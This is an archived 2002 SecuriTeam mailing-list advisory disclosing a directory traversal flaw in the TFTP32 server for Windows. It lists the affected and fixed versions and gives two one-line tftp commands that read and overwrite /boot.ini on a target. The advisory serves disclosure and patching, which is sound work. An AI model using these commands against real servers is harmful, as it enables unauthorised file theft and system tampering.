

[NT] TFTP32 Directory Traversal Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0049.html>

From: support@securiteam.com

Date: 11/17/02

From: support@securiteam.com

To: list@securiteam.com

Date: 17 Nov 2002 22:15:05 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

TFTP32 Directory Traversal Vulnerability

SUMMARY

<<http://tftp32.jounin.net>> TFTP32 is a Freeware TFTP server for windows 9x/NT/XP. It provides an implementation of the TFTPv2 protocol (specified in the RFC 1350).

A vulnerability in the product allows remote attackers to view any file on the system as well as write to arbitrary locations.

DETAILS

Vulnerable systems:

- * TFTP32 version 2.50.2 and prior

Immune systems:

- * TFTP32 version 2.51

Exploit:

Getting files:

```
tftp host GET /boot.ini
```

Storing files:

```
tftp host PUT myfile /boot.ini
```

Securiteam: [NT] TFTP32 Directory Traversal Vulnerability

ADDITIONAL INFORMATION

The information has been provided by <mailto:expert@securiteam.com>
SecurITeam Experts.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.